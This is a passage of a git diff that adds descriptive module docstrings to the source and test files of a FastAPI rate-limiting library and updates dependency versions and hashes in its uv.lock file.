RedisStorage) +used throughout the library for type annotations. Provides +create_storage() which builds the right backend from settings. + +Key exports: + Storage - TypeAlias for MemoryStorage | RedisStorage + create_storage() - factory that builds a storage backend + +Connects to: + memory.py - re-exports MemoryStorage + redis_backend.py - re-exports RedisStorage """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/memory.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/memory.py index 7d328fcf..21983a26 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/memory.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/memory.py @@ -1,6 +1,22 @@ """ ⒸAngelaMos | 2025 memory.py + +In-memory storage backend using OrderedDict for LRU eviction + +Stores rate limit state in process memory, protected by an +asyncio.Lock for concurrency safety. Implements sliding window +tracking with dual-window weighted interpolation, and token +bucket with refill-on-access. Runs a background cleanup task +that periodically sweeps expired entries. When max keys is +reached, the least recently used entries get evicted first. + +Key exports: + MemoryStorage - full storage backend with from_settings(), + increment(), consume_token(), close(), health_check() + +Connects to: + types.py - imports WindowState, TokenBucketState, StorageType """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/redis_backend.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/redis_backend.py index d5a9d1ef..2d3e1e02 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/redis_backend.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/storage/redis_backend.py @@ -1,6 +1,24 @@ """ ⒸAngelaMos | 2025 redis_backend.py + +Redis storage backend using atomic Lua scripts + +All rate limit operations (sliding window increment, fixed window +increment, token bucket consume) run as Lua scripts inside Redis +for race-condition-free atomic execution. Scripts are loaded from +disk on first use, and their SHA1 hashes are cached for EVALSHA +calls. If Redis flushes its script cache, NOSCRIPT errors trigger +automatic reload and retry. + +Key exports: + RedisStorage - Redis-backed storage with from_settings(), + connect(), increment(), increment_fixed_window(), + consume_token(), close(), health_check() + +Connects to: + exceptions.py - raises StorageConnectionError, StorageError + types.py - imports WindowState, TokenBucketState, StorageType """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/types.py b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/types.py index f5b2c02c..346033fa 100644 --- a/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/types.py +++ b/PROJECTS/advanced/api-rate-limiter/src/fastapi_420/types.py @@ -1,6 +1,22 @@ """ ⒸAngelaMos | 2025 types.py + +Core type definitions for the rate limiting library + +Every enum, dataclass, and Protocol in the library lives here. +This is the foundation layer with zero internal dependencies, +so every other module can import from it without circular issues. +Defines the three algorithm choices, fingerprint levels, defense +modes, and the storage/algorithm/fingerprinter Protocols that +backends must satisfy. + +Key exports: + Algorithm, FingerprintLevel, DefenseMode - behavior enums + RateLimitResult - frozen result from a limit check + RateLimitRule - frozen rule with parse() for "100/minute" strings + FingerprintData - extracted client identity fields + StorageBackend, Fingerprinter, RateLimitAlgorithm - Protocols """ # pylint: disable=unnecessary-ellipsis diff --git a/PROJECTS/advanced/api-rate-limiter/tests/conftest.py b/PROJECTS/advanced/api-rate-limiter/tests/conftest.py index 9370889f..fbc07c58 100644 --- a/PROJECTS/advanced/api-rate-limiter/tests/conftest.py +++ b/PROJECTS/advanced/api-rate-limiter/tests/conftest.py @@ -1,6 +1,19 @@ """ ⒸAngelaMos | 2025 conftest.py + +Shared pytest fixtures and test factories for the test suite + +Defines constants for test data (IPs, tokens, endpoints, window +sizes), nine factory classes for building mock objects +(RequestFactory, FingerprintFactory, RuleFactory, ResultFactory, +and others), pytest fixtures for every major component, and helper +functions for common assertions like checking rate limit headers +and exhausting a client's limit budget. + +Tests: + Provides fixtures for all source modules including storage, + algorithms, fingerprinting, defense, limiter, and middleware """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/tests/test_algorithms.py b/PROJECTS/advanced/api-rate-limiter/tests/test_algorithms.py index 681966d5..3991fa84 100644 --- a/PROJECTS/advanced/api-rate-limiter/tests/test_algorithms.py +++ b/PROJECTS/advanced/api-rate-limiter/tests/test_algorithms.py @@ -1,6 +1,15 @@ """ ⒸAngelaMos | 2025 test_algorithms.py + +Tests for rate limiting algorithms and the factory function + +Tests: + create_algorithm() factory mapping + SlidingWindowAlgorithm - first request, limit enforcement, keys + TokenBucketAlgorithm - bursting, refill, capacity + FixedWindowAlgorithm - counting, boundary behavior + Cross-algorithm behavioral comparison """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/tests/test_fingerprinting.py b/PROJECTS/advanced/api-rate-limiter/tests/test_fingerprinting.py index d0d3bbff..4c7e03d4 100644 --- a/PROJECTS/advanced/api-rate-limiter/tests/test_fingerprinting.py +++ b/PROJECTS/advanced/api-rate-limiter/tests/test_fingerprinting.py @@ -1,6 +1,15 @@ """ ⒸAngelaMos | 2025 test_fingerprinting.py + +Tests for all fingerprinting components + +Tests: + IPExtractor - IPv4, IPv6 /64 normalization, mapped addresses, + X-Forwarded-For parsing, X-Real-IP, private detection + HeadersExtractor - individual headers, composite hash, ordering + AuthExtractor - JWT, API key, session cookie, priority chain + CompositeFingerprinter - all levels, composite key generation """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/tests/test_integration.py b/PROJECTS/advanced/api-rate-limiter/tests/test_integration.py index 8a1f1942..9ef44337 100644 --- a/PROJECTS/advanced/api-rate-limiter/tests/test_integration.py +++ b/PROJECTS/advanced/api-rate-limiter/tests/test_integration.py @@ -1,6 +1,17 @@ """ ⒸAngelaMos | 2025 test_integration.py + +End-to-end integration tests across all integration patterns + +Tests: + RateLimitMiddleware - path exclusion, limit enforcement, headers + @limiter.limit() decorator - basic flow and rejection + RateLimitDep dependency injection - per-route limits + ScopedRateLimiter - prefix matching and burst overrides + SlowDownMiddleware - progressive delay behavior + Concurrent requests and multi-client IP independence + Algorithm-specific integration (sliding, token, fixed) """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/tests/test_limiter.py b/PROJECTS/advanced/api-rate-limiter/tests/test_limiter.py index 874f1a92..d50c415f 100644 --- a/PROJECTS/advanced/api-rate-limiter/tests/test_limiter.py +++ b/PROJECTS/advanced/api-rate-limiter/tests/test_limiter.py @@ -1,6 +1,16 @@ """ ⒸAngelaMos | 2025 test_limiter.py + +Tests for the RateLimiter class + +Tests: + Initialization (default, custom settings, provided storage) + check() method (first request, multiple rules, raise behavior, + endpoint/user independence, custom key_func, auto-init) + limit() decorator (basic, enforcement, multiple rules) + Fail-open behavior when storage is unavailable + Settings access and idempotent init/close """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/tests/test_storage.py b/PROJECTS/advanced/api-rate-limiter/tests/test_storage.py index 397196df..23e7b978 100644 --- a/PROJECTS/advanced/api-rate-limiter/tests/test_storage.py +++ b/PROJECTS/advanced/api-rate-limiter/tests/test_storage.py @@ -1,6 +1,17 @@ """ ⒸAngelaMos | 2025 test_storage.py + +Tests for MemoryStorage and the create_storage() factory + +Tests: + Basic lifecycle (init, close, health check) + Sliding window increment and state retrieval + Token bucket consume, refill, and state + LRU eviction when max keys is reached + Background cleanup of expired entries + create_storage() factory function + Concurrent access safety under asyncio """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/tests/test_types.py b/PROJECTS/advanced/api-rate-limiter/tests/test_types.py index 87ca8bd7..45b082a9 100644 --- a/PROJECTS/advanced/api-rate-limiter/tests/test_types.py +++ b/PROJECTS/advanced/api-rate-limiter/tests/test_types.py @@ -1,6 +1,16 @@ """ ⒸAngelaMos | 2025 test_types.py + +Tests for all type definitions in types.py + +Tests: + Enum values for Algorithm, FingerprintLevel, DefenseMode, others + RateLimitRule.parse() with all time units, whitespace, case + RateLimitResult header generation + FingerprintData composite key generation at all levels + WindowState weighted count math + TokenBucketState, CircuitState, DefenseContext, RateLimitKey """ from __future__ import annotations diff --git a/PROJECTS/advanced/api-rate-limiter/uv.lock b/PROJECTS/advanced/api-rate-limiter/uv.lock index 9d9f2c93..c0d76a04 100644 --- a/PROJECTS/advanced/api-rate-limiter/uv.lock +++ b/PROJECTS/advanced/api-rate-limiter/uv.lock @@ -259,20 +259,20 @@ wheels = [ [[package]] name = "fakeredis" -version = "2.33.0" +version = "2.34.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "redis" }, { name = "sortedcontainers" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/5f/f9/57464119936414d60697fcbd32f38909bb5688b616ae13de6e98384433e0/fakeredis-2.33.0.tar.gz", hash = "sha256:d7bc9a69d21df108a6451bbffee23b3eba432c21a654afc7ff2d295428ec5770", size = 175187, upload-time = "2025-12-16T19:45:52.269Z" } +sdist = { url = "https://files.pythonhosted.org/packages/11/40/fd09efa66205eb32253d2b2ebc63537281384d2040f0a88bcd2289e120e4/fakeredis-2.34.1.tar.gz", hash = "sha256:4ff55606982972eecce3ab410e03d746c11fe5deda6381d913641fbd8865ea9b", size = 177315, upload-time = "2026-02-25T13:17:51.315Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6e/78/a850fed8aeef96d4a99043c90b818b2ed5419cd5b24a4049fd7cfb9f1471/fakeredis-2.33.0-py3-none-any.whl", hash = "sha256:de535f3f9ccde1c56672ab2fdd6a8efbc4f2619fc2f1acc87b8737177d71c965", size = 119605, upload-time = "2025-12-16T19:45:51.08Z" }, + { url = "https://files.pythonhosted.org/packages/49/b5/82f89307d0d769cd9bf46a54fb9136be08e4e57c5570ae421db4c9a2ba62/fakeredis-2.34.1-py3-none-any.whl", hash = "sha256:0107ec99d48913e7eec2a5e3e2403d1bd5f8aa6489d1a634571b975289c48f12", size = 122160, upload-time = "2026-02-25T13:17:49.701Z" }, ] [[package]] name = "fastapi" -version = "0.128.7" +version = "0.134.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-doc" }, @@ -281,9 +281,9 @@ dependencies = [ { name = "typing-extensions" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/a0/fc/af386750b3fd8d8828167e4c82b787a8eeca2eca5c5429c9db8bb7c70e04/fastapi-0.128.7.tar.gz", hash = "sha256:783c273416995486c155ad2c0e2b45905dedfaf20b9ef8d9f6a9124670639a24", size = 375325, upload-time = "2026-02-10T12:26:40.968Z" } +sdist = { url = "https://files.pythonhosted.org/packages/96/15/647ea81cb73b55b48fb095158a9cd64e42e9e4f1d34dbb5cc4a4939779d6/fastapi-0.134.0.tar.gz", hash = "sha256:3122b1ea0dbeaab48b5976e80b99ca7eda02be154bf03e126a33220e73255a9a", size = 385667, upload-time = "2026-02-27T21:18:12.931Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/af/1a/f983b45661c79c31be575c570d46c437a5409b67a939c1b3d8d6b3ed7a7f/fastapi-0.128.7-py3-none-any.whl", hash = "sha256:6bd9bd31cb7047465f2d3fa3ba3f33b0870b17d4eaf7cdb36d1576ab060ad662", size = 103630, upload-time = "2026-02-10T12:26:39.414Z" }, + { url = "https://files.pythonhosted.org/packages/e3/e6/fd49c28a54b7d6f5c64045155e40f6cff9ed4920055043fb5ac7969f7f2f/fastapi-0.134.0-py3-none-any.whl", hash = "sha256:f4e7214f24b2262258492e05c48cf21125e4ffc427e30dd32fb4f74049a3d56a", size = 110404, upload-time = "2026-02-27T21:18:10.809Z" }, ] [package.optional-dependencies] @@ -331,13 +331,13 @@ dev = [ [package.metadata] requires-dist = [ { name = "asgi-lifespan", marker = "extra == 'dev'", specifier = ">=2.1.0" }, - { name = "fakeredis", marker = "extra == 'dev'", specifier = ">=2.33.0" }, - { name = "fastapi", extras = ["standard"], specifier = ">=0.128.7" }, + { name = "fakeredis", marker = "extra == 'dev'", specifier = ">=2.34.0" }, + { name = "fastapi", extras = ["standard"], specifier = ">=0.129.0" }, { name = "httpx", marker = "extra == 'dev'", specifier = ">=0.28.1" }, { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.19.1" }, { name = "pre-commit", marker = "extra == 'dev'", specifier = ">=4.5.1" }, { name = "pydantic", specifier = ">=2.12.5,<3.0.0" }, - { name = "pydantic-settings", specifier = ">=2.12.0,<3.0.0" }, + { name = "pydantic-settings", specifier = ">=2.13.0" }, { name = "pyjwt", specifier = ">=2.11.0" }, { name = "pylint", marker = "extra == 'dev'", specifier = ">=4.0.4" }, { name = "pylint-per-file-ignores", marker = "extra == 'dev'", specifier = ">=3.2.0" }, @@ -345,8 +345,8 @@ requires-dist = [ { name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2" }, { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0" }, { name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=7.0.0" }, - { name = "redis", specifier = ">=7.1.1" }, - { name = "ruff", marker = "extra == 'dev'", specifier = ">=0.15.0" }, + { name = "redis", specifier = ">=7.2.0" }, + { name = "ruff", marker = "extra == 'dev'", specifier = ">=0.15.1" }, { name = "time-machine", marker = "extra == 'dev'", specifier = ">=3.2.0" }, { name = "types-redis", marker = "extra == 'dev'", specifier = ">=4.6.0.20241004" }, ] @@ -802,16 +802,16 @@ wheels = [ [[package]] name = "pydantic-settings" -version = "2.12.0" +version = "2.13.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pydantic" }, { name = "python-dotenv" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/43/4b/ac7e0aae12027748076d72a8764ff1c9d82ca75a7a52622e67ed3f765c54/pydantic_settings-2.12.0.tar.gz", hash = "sha256:005538ef951e3c2a68e1c08b292b5f2e71490def8589d4221b95dab00dafcfd0", size = 194184, upload-time = "2025-11-10T14:25:47.013Z" } +sdist = { url = "https://files.pythonhosted.org/packages/52/6d/fffca34caecc4a3f97bda81b2098da5e8ab7efc9a66e819074a11955d87e/pydantic_settings-2.13.1.tar.gz", hash = "sha256:b4c11847b15237fb0171e1462bf540e294affb9b86db4d9aa5c01730bdbe4025", size = 223826, upload-time = "2026-02-19T13:45:08.055Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/c1/60/5d4751ba3f4a40a6891f24eec885f51afd78d208498268c734e256fb13c4/pydantic_settings-2.12.0-py3-none-any.whl", hash = "sha256:fddb9fd99a5b18da837b29710391e945b1e30c135477f484084ee513adb93809", size = 51880, upload-time = "2025-11-10T14:25:45.546Z" }, + { url = "https://files.pythonhosted.org/packages/00/4b/ccc026168948fec4f7555b9164c724cf4125eac006e176541483d2c959be/pydantic_settings-2.13.1-py3-none-any.whl", hash = "sha256:d56fd801823dbeae7f0975e1f8c8e25c258eb75d278ea7abb5d9cebb01b56237", size = 58929, upload-time = "2026-02-19T13:45:06.034Z" }, ] [[package]] @@ -975,11 +975,11 @@ wheels = [ [[package]] name = "redis" -version = "7.1.1" +version = "7.2.1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f7/80/2971931d27651affa88a44c0ad7b8c4a19dc29c998abb20b23868d319b59/redis-7.1.1.tar.gz", hash = "sha256:a2814b2bda15b39dad11391cc48edac4697214a8a5a4bd10abe936ab4892eb43", size = 4800064, upload-time = "2026-02-09T18:39:40.292Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e9/31/1476f206482dd9bc53fdbbe9f6fbd5e05d153f18e54667ce839df331f2e6/redis-7.2.1.tar.gz", hash = "sha256:6163c1a47ee2d9d01221d8456bc1c75ab953cbda18cfbc15e7140e9ba16ca3a5", size = 4906735, upload-time = "2026-02-25T20:05:18.171Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/29/55/1de1d812ba1481fa4b37fb03b4eec0fcb71b6a0d44c04ea3482eb017600f/redis-7.1.1-py3-none-any.whl", hash = "sha256:f77817f16071c2950492c67d40b771fa493eb3fccc630a424a10976dbb794b7a", size = 356057, upload-time = "2026-02-09T18:39:38.602Z" }, + { url = "https://files.pythonhosted.org/packages/ca/98/1dd1a5c060916cf21d15e67b7d6a7078e26e2605d5c37cbc9f4f5454c478/redis-7.2.1-py3-none-any.whl", hash = "sha256:49e231fbc8df2001436ae5252b3f0f3dc930430239bfeb6da4c7ee92b16e5d33", size = 396057, upload-time = "2026-02-25T20:05:16.533Z" }, ] [[package]] @@ -1049,27 +1049,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.0" +version = "0.15.4" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/c8/39/5cee96809fbca590abea6b46c6d1c586b49663d1d2830a751cc8fc42c666/ruff-0.15.0.tar.gz", hash = "sha256:6bdea47cdbea30d40f8f8d7d69c0854ba7c15420ec75a26f463290949d7f7e9a", size = 4524893, upload-time = "2026-02-03T17:53:35.357Z" } +sdist = { url = "https://files.pythonhosted.org/packages/da/31/d6e536cdebb6568ae75a7f00e4b4819ae0ad2640c3604c305a0428680b0c/ruff-0.15.4.tar.gz", hash = "sha256:3412195319e42d634470cc97aa9803d07e9d5c9223b99bcb1518f0c725f26ae1", size = 4569550, upload-time = "2026-02-26T20:04:14.959Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/bc/88/3fd1b0aa4b6330d6aaa63a285bc96c9f71970351579152d231ed90914586/ruff-0.15.0-py3-none-linux_armv6l.whl", hash = "sha256:aac4ebaa612a82b23d45964586f24ae9bc23ca101919f5590bdb368d74ad5455", size = 10354332, upload-time = "2026-02-03T17:52:54.892Z" }, - { url = "https://files.pythonhosted.org/packages/72/f6/62e173fbb7eb75cc29fe2576a1e20f0a46f671a2587b5f604bfb0eaf5f6f/ruff-0.15.0-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:dcd4be7cc75cfbbca24a98d04d0b9b36a270d0833241f776b788d59f4142b14d", size = 10767189, upload-time = "2026-02-03T17:53:19.778Z" }, - { url = "https://files.pythonhosted.org/packages/99/e4/968ae17b676d1d2ff101d56dc69cf333e3a4c985e1ec23803df84fc7bf9e/ruff-0.15.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:d747e3319b2bce179c7c1eaad3d884dc0a199b5f4d5187620530adf9105268ce", size = 10075384, upload-time = "2026-02-03T17:53:29.241Z" }, - { url = "https://files.pythonhosted.org/packages/a2/bf/9843c6044ab9e20af879c751487e61333ca79a2c8c3058b15722386b8cae/ruff-0.15.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:650bd9c56ae03102c51a5e4b554d74d825ff3abe4db22b90fd32d816c2e90621", size = 10481363, upload-time = "2026-02-03T17:52:43.332Z" }, - { url = "https://files.pythonhosted.org/packages/55/d9/4ada5ccf4cd1f532db1c8d44b6f664f2208d3d93acbeec18f82315e15193/ruff-0.15.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6664b7eac559e3048223a2da77769c2f92b43a6dfd4720cef42654299a599c9", size = 10187736, upload-time = "2026-02-03T17:53:00.522Z" }, - { url = "https://files.pythonhosted.org/packages/86/e2/f25eaecd446af7bb132af0a1d5b135a62971a41f5366ff41d06d25e77a91/ruff-0.15.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f811f97b0f092b35320d1556f3353bf238763420ade5d9e62ebd2b73f2ff179", size = 10968415, upload-time = "2026-02-03T17:53:15.705Z" }, - { url = "https://files.pythonhosted.org/packages/e7/dc/f06a8558d06333bf79b497d29a50c3a673d9251214e0d7ec78f90b30aa79/ruff-0.15.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:761ec0a66680fab6454236635a39abaf14198818c8cdf691e036f4bc0f406b2d", size = 11809643, upload-time = "2026-02-03T17:53:23.031Z" }, - { url = "https://files.pythonhosted.org/packages/dd/45/0ece8db2c474ad7df13af3a6d50f76e22a09d078af63078f005057ca59eb/ruff-0.15.0-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:940f11c2604d317e797b289f4f9f3fa5555ffe4fb574b55ed006c3d9b6f0eb78", size = 11234787, upload-time = "2026-02-03T17:52:46.432Z" }, - { url = "https://files.pythonhosted.org/packages/8a/d9/0e3a81467a120fd265658d127db648e4d3acfe3e4f6f5d4ea79fac47e587/ruff-0.15.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bcbca3d40558789126da91d7ef9a7c87772ee107033db7191edefa34e2c7f1b4", size = 11112797, upload-time = "2026-02-03T17:52:49.274Z" }, - { url = "https://files.pythonhosted.org/packages/b2/cb/8c0b3b0c692683f8ff31351dfb6241047fa873a4481a76df4335a8bff716/ruff-0.15.0-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:9a121a96db1d75fa3eb39c4539e607f628920dd72ff1f7c5ee4f1b768ac62d6e", size = 11033133, upload-time = "2026-02-03T17:53:33.105Z" }, - { url = "https://files.pythonhosted.org/packages/f8/5e/23b87370cf0f9081a8c89a753e69a4e8778805b8802ccfe175cc410e50b9/ruff-0.15.0-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:5298d518e493061f2eabd4abd067c7e4fb89e2f63291c94332e35631c07c3662", size = 10442646, upload-time = "2026-02-03T17:53:06.278Z" }, - { url = "https://files.pythonhosted.org/packages/e1/9a/3c94de5ce642830167e6d00b5c75aacd73e6347b4c7fc6828699b150a5ee/ruff-0.15.0-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:afb6e603d6375ff0d6b0cee563fa21ab570fd15e65c852cb24922cef25050cf1", size = 10195750, upload-time = "2026-02-03T17:53:26.084Z" }, - { url = "https://files.pythonhosted.org/packages/30/15/e396325080d600b436acc970848d69df9c13977942fb62bb8722d729bee8/ruff-0.15.0-py3-none-musllinux_1_2_i686.whl", hash = "sha256:77e515f6b15f828b94dc17d2b4ace334c9ddb7d9468c54b2f9ed2b9c1593ef16", size = 10676120, upload-time = "2026-02-03T17:53:09.363Z" }, - { url = "https://files.pythonhosted.org/packages/8d/c9/229a23d52a2983de1ad0fb0ee37d36e0257e6f28bfd6b498ee2c76361874/ruff-0.15.0-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:6f6e80850a01eb13b3e42ee0ebdf6e4497151b48c35051aab51c101266d187a3", size = 11201636, upload-time = "2026-02-03T17:52:57.281Z" }, - { url = "https://files.pythonhosted.org/packages/6f/b0/69adf22f4e24f3677208adb715c578266842e6e6a3cc77483f48dd999ede/ruff-0.15.0-py3-none-win32.whl", hash = "sha256:238a717ef803e501b6d51e0bdd0d2c6e8513fe9eec14002445134d3907cd46c3", size = 10465945, upload-time = "2026-02-03T17:53:12.591Z" }, - { url = "https://files.pythonhosted.org/packages/51/ad/f813b6e2c97e9b4598be25e94a9147b9af7e60523b0cb5d94d307c15229d/ruff-0.15.0-py3-none-win_amd64.whl", hash = "sha256:dd5e4d3301dc01de614da3cdffc33d4b1b96fb89e45721f1598e5532ccf78b18", size = 11564657, upload-time = "2026-02-03T17:52:51.893Z" }, - { url = "https://files.pythonhosted.org/packages/f6/b0/2d823f6e77ebe560f4e397d078487e8d52c1516b331e3521bc75db4272ca/ruff-0.15.0-py3-none-win_arm64.whl", hash = "sha256:c480d632cc0ca3f0727acac8b7d053542d9e114a462a145d0b00e7cd658c515a", size = 10865753, upload-time = "2026-02-03T17:53:03.014Z" }, + { url = "https://files.pythonhosted.org/packages/f2/82/c11a03cfec3a4d26a0ea1e571f0f44be5993b923f905eeddfc397c13d360/ruff-0.15.4-py3-none-linux_armv6l.whl", hash = "sha256:a1810931c41606c686bae8b5b9a8072adac2f611bb433c0ba476acba17a332e0", size = 10453333, upload-time = "2026-02-26T20:04:20.093Z" }, + { url = "https://files.pythonhosted.org/packages/ce/5d/6a1f271f6e31dffb31855996493641edc3eef8077b883eaf007a2f1c2976/ruff-0.15.4-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:5a1632c66672b8b4d3e1d1782859e98d6e0b4e70829530666644286600a33992", size = 10853356, upload-time = "2026-02-26T20:04:05.808Z" }, + { url = "https://files.pythonhosted.org/packages/b1/d8/0fab9f8842b83b1a9c2bf81b85063f65e93fb512e60effa95b0be49bfc54/ruff-0.15.4-py3-none-macosx_11_0_arm64.whl", hash = "sha256:a4386ba2cd6c0f4ff75252845906acc7c7c8e1ac567b7bc3d373686ac8c222ba", size = 10187434, upload-time = "2026-02-26T20:03:54.656Z" }, + { url = "https://files.pythonhosted.org/packages/85/cc/cc220fd9394eff5db8d94dec199eec56dd6c9f3651d8869d024867a91030/ruff-0.15.4-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b2496488bdfd3732747558b6f95ae427ff066d1fcd054daf75f5a50674411e75", size = 10535456, upload-time = "2026-02-26T20:03:52.738Z" }, + { url = "https://files.pythonhosted.org/packages/fa/0f/bced38fa5cf24373ec767713c8e4cadc90247f3863605fb030e597878661/ruff-0.15.4-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3f1c4893841ff2d54cbda1b2860fa3260173df5ddd7b95d370186f8a5e66a4ac", size = 10287772, upload-time = "2026-02-26T20:04:08.138Z" }, + { url = "https://files.pythonhosted.org/packages/2b/90/58a1802d84fed15f8f281925b21ab3cecd813bde52a8ca033a4de8ab0e7a/ruff-0.15.4-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:820b8766bd65503b6c30aaa6331e8ef3a6e564f7999c844e9a547c40179e440a", size = 11049051, upload-time = "2026-02-26T20:04:03.53Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ac/b7ad36703c35f3866584564dc15f12f91cb1a26a897dc2fd13d7cb3ae1af/ruff-0.15.4-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c9fb74bab47139c1751f900f857fa503987253c3ef89129b24ed375e72873e85", size = 11890494, upload-time = "2026-02-26T20:04:10.497Z" }, + { url = "https://files.pythonhosted.org/packages/93/3d/3eb2f47a39a8b0da99faf9c54d3eb24720add1e886a5309d4d1be73a6380/ruff-0.15.4-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f80c98765949c518142b3a50a5db89343aa90f2c2bf7799de9986498ae6176db", size = 11326221, upload-time = "2026-02-26T20:04:12.84Z" }, + { url = "https://files.pythonhosted.org/packages/ff/90/bf134f4c1e5243e62690e09d63c55df948a74084c8ac3e48a88468314da6/ruff-0.15.4-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:451a2e224151729b3b6c9ffb36aed9091b2996fe4bdbd11f47e27d8f2e8888ec", size = 11168459, upload-time = "2026-02-26T20:04:00.969Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e5/a64d27688789b06b5d55162aafc32059bb8c989c61a5139a36e1368285eb/ruff-0.15.4-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a8f157f2e583c513c4f5f896163a93198297371f34c04220daf40d133fdd4f7f", size = 11104366, upload-time = "2026-02-26T20:03:48.099Z" }, + { url = "https://files.pythonhosted.org/packages/f1/f6/32d1dcb66a2559763fc3027bdd65836cad9eb09d90f2ed6a63d8e9252b02/ruff-0.15.4-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:917cc68503357021f541e69b35361c99387cdbbf99bd0ea4aa6f28ca99ff5338", size = 10510887, upload-time = "2026-02-26T20:03:45.771Z" }, + { url = "https://files.pythonhosted.org/packages/ff/92/22d1ced50971c5b6433aed166fcef8c9343f567a94cf2b9d9089f6aa80fe/ruff-0.15.4-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e9737c8161da79fd7cfec19f1e35620375bd8b2a50c3e77fa3d2c16f574105cc", size = 10285939, upload-time = "2026-02-26T20:04:22.42Z" }, + { url = "https://files.pythonhosted.org/packages/e6/f4/7c20aec3143837641a02509a4668fb146a642fd1211846634edc17eb5563/ruff-0.15.4-py3-none-musllinux_1_2_i686.whl", hash = "sha256:291258c917539e18f6ba40482fe31d6f5ac023994ee11d7bdafd716f2aab8a68", size = 10765471, upload-time = "2026-02-26T20:03:58.924Z" }, + { url = "https://files.pythonhosted.org/packages/d0/09/6d2f7586f09a16120aebdff8f64d962d7c4348313c77ebb29c566cefc357/ruff-0.15.4-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3f83c45911da6f2cd5936c436cf86b9f09f09165f033a99dcf7477e34041cbc3", size = 11263382, upload-time = "2026-02-26T20:04:24.424Z" }, + { url = "https://files.pythonhosted.org/packages/1b/fa/2ef715a1cd329ef47c1a050e10dee91a9054b7ce2fcfdd6a06d139afb7ec/ruff-0.15.4-py3-none-win32.whl", hash = "sha256:65594a2d557d4ee9f02834fcdf0a28daa8b3b9f6cb2cb93846025a36db47ef22", size = 10506664, upload-time = "2026-02-26T20:03:50.56Z" }, + { url = "https://files.pythonhosted.org/packages/d0/a8/c688ef7e29983976820d18710f955751d9f4d4eb69df658af3d006e2ba3e/ruff-0.15.4-py3-none-win_amd64.whl", hash = "sha256:04196ad44f0df220c2ece5b0e959c2f37c777375ec744397d21d15b50a75264f", size = 11651048, upload-time = "2026-02-26T20:04:17.191Z" }, + { url = "https://files.pythonhosted.org/packages/3e/0a/9e1be9035b37448ce2e68c978f0591da94389ade5a5abafa4cf99985d1b2/ruff-0.15.4-py3-none-win_arm64.whl", hash = "sha256:60d5177e8cfc70e51b9c5fad936c634872a74209f934c1e79107d11787ad5453", size = 10966776, upload-time = "2026-02-26T20:03:56.908Z" }, ] [[package]] diff --git a/PROJECTS/beginner/base64-tool/src/base64_tool/cli.py b/PROJECTS/beginner/base64-tool/src/base64_tool/cli.py index dc03a8fc..47582f36 100644 --- 